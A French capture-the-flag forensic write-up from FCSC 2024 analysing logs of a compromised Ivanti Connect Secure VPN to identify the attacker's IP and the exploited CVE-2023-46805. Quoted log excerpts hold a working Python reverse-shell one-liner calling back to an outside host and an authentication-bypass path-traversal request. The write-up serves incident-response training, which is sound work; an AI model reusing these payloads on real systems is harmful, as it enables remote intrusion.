Aller au contenu
  1. Write-up/

FCSC 2024 · VPN compromis : analyse de la CVE-2023-46805 Ivanti

·4 mins

Challenge “Horreur Malheur 2/5 Accès initial” du FCSC 2024.

Abstract #

Ce challenge nous met sur les traces des CVE qui ont impactées les produits Ivanti fin 2023-début 2024. En identifiant les IPs, on observe que l’une d’entre elle a installé un reverse shell sur la machine hôte. Une analyse des logs de l’équipement et d’un exploit nous permet d’identifier précisément la CVE.


Le challenge nous donne accès aux journaux d’un équipement compromis. L’objectif est de trouver l’adresse IP de l’attaquant ainsi que la CVE utilisée. Un indice est donné dans l’énoncé :

En arrivant à votre bureau le premier jour, vous vous rendez compte que votre prédécesseur vous a laissé une clé USB avec une note dessus : VPN compromis (intégrité). Version 22.3R1 b1647.

Le début est toujours un peu compliqué, étant donné qu’on ne sait pas vraiment ce qu’on observe, quelles sont les technologies utilisées etc… J’ai pour habitude d’ouvrir la plupart des fichiers et de les parcourir succinctement afin de voir à quoi j’ai à faire. En l’occurrence, des logs web et les processus d’une machine.

Identification de l’IP de l’attaquant #

Je fais un regex qui va m’extraire toutes les IPs des logs afin de voir la taille du périmètre. Je pourrai ensuite peut-être identifier des comportements anormaux d’après ces IPs.

grep -REoh '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b'

Cette commande nous sort beaucoup d’adresses similaires, j’ai redirigé la sortie vers un fichier que je traite ensuite avec un script python pour extraire les IPs uniques. On a quelques faux positifs comme des numéros de versions ou ce genre de choses. Heureusement, il n’y a “que” 21 sorties, on peut rechercher chaque ligne avec grep pour trier les vraies IP des numéros de version. Cette méthode a l’avantage de nous faire commencer par 20.13.3.0 qui produit un résultat très suspect :


> grep -R '20\.13\.3\.0'
nodemonlog:21969     1  0.0  0.0 S   452   4852  3808 /bin/sh -c /home/perl5/bin/perl /home/perl/AwsAzureTestConnection.pl ;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("20.13.3.0",4444));subprocess.call(["/bin/sh","-i"'
[...]
nodemonlog:web        6264     root   23u     IPv6            1707721       0t0        TCP 172.18.0.4:https->20.13.3.0:55102 (ESTABLISHED)
nodemonlog:python    21971     root    3u     IPv4            1465043       0t0        TCP 172.18.0.4:13606->20.13.3.0:krb524 (ESTABLISHED)
nodemonlog:sh        21972     root    0u     IPv4            1465043       0t0        TCP 172.18.0.4:13606->20.13.3.0:krb524 (ESTABLISHED)

Le premier match semble être un reverse shell en Python qui initie une connexion vers 20.13.3.0:4444 pour démarer un shell interactif (/bin/sh -i). Les lignes suivantes montrent les connexions sortantes ce qui confirme que le code malveillant a fonctionné.

A noter que les logs contiennent des traces d’autres payloads qui semblent cibler uWSGI (je vous laisserai les chercher :p). Ce sont peut-être des scanns automatisés qui passaient par là. Des CVEs existent avec des payloads ressemblant, ce qui m’a fait perdre pas mal de temps et des tentatives de flag (au bout de 10 mauvais flags, le challenge se bloquait).

Ivanti Connect Secure #

On est sur un service web avec des logs et on voit que /api/v1/cav/client/ est commun à toutes les requêtes. Si on cherche cet endpoint sur internet, on trouve des mentions de CVE sur Ivanti Pulse Connect Secure : High Signal Detection and Exploitation of Ivanti’s Pulse Connect Secure Auth Bypass & RCE.

Ou bien, on peut utiliser l’indice de l’énoncé : “VPN compromis (intégrité). Version 22.3R1 b1647”, on trouvera la technologie utilisée et les CVE associées.

On a 2 CVEs possibles : CVE-2023-46805 (Authentication Bypass) & CVE-2024-21887 (Remote Command Execution). Il reste à trouver la bonne, ce qui n’est pas simple puisqu’elles sont souvent liées dans les articles qui y font mention.

A noter qu’il est fait mention d’un nouveau payload pour la CVE-2023-46805, /api/v1/cav/client/status/../../admin/options, mais il n’y a pas cette trace dans les logs.

En creusant, j’ai trouvé deux exploits sur Github :

Elles ciblent l’endpoint /api/v1/totp/user-backup-code/ avec un path traversal, qui est aussi présent dans nos logs :

> grep -R '/api/v1/totp/user-backup-code/'

config_rest_server.log.old:[pid: 6299|app: 0|req: 1/1] 172.18.0.4 () {30 vars in 501 bytes} [Fri Mar 15 06:29:17 2024] POST /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection => generated 14 bytes in 164281 msecs (HTTP/1.1 200) 2 headers in 71 bytes (1 switches on core 0)

On semble être sur la bonne voie. Néanmoins, la CVE-2024-21887 effectue un path traversal sur l’endpoint /license/keys-status/ qui n’est pas présent dans nos logs. De plus, la vulnérabilité nécessite un payload encodé qui n’est pas non plus présent. Enfin, la CVE-2023-46805 utilise un path traversal pour se rendre dans system/, c’est aussi ce qu’on retrouve dans les logs. Cet article confirme que c’est bien la vulnérabilité de 2023 qui a été exploitée : Ivanti Connect Secure Auth Bypass and Remote Code Authentication CVE-2024-21887. On y retrouve le même reverse shell.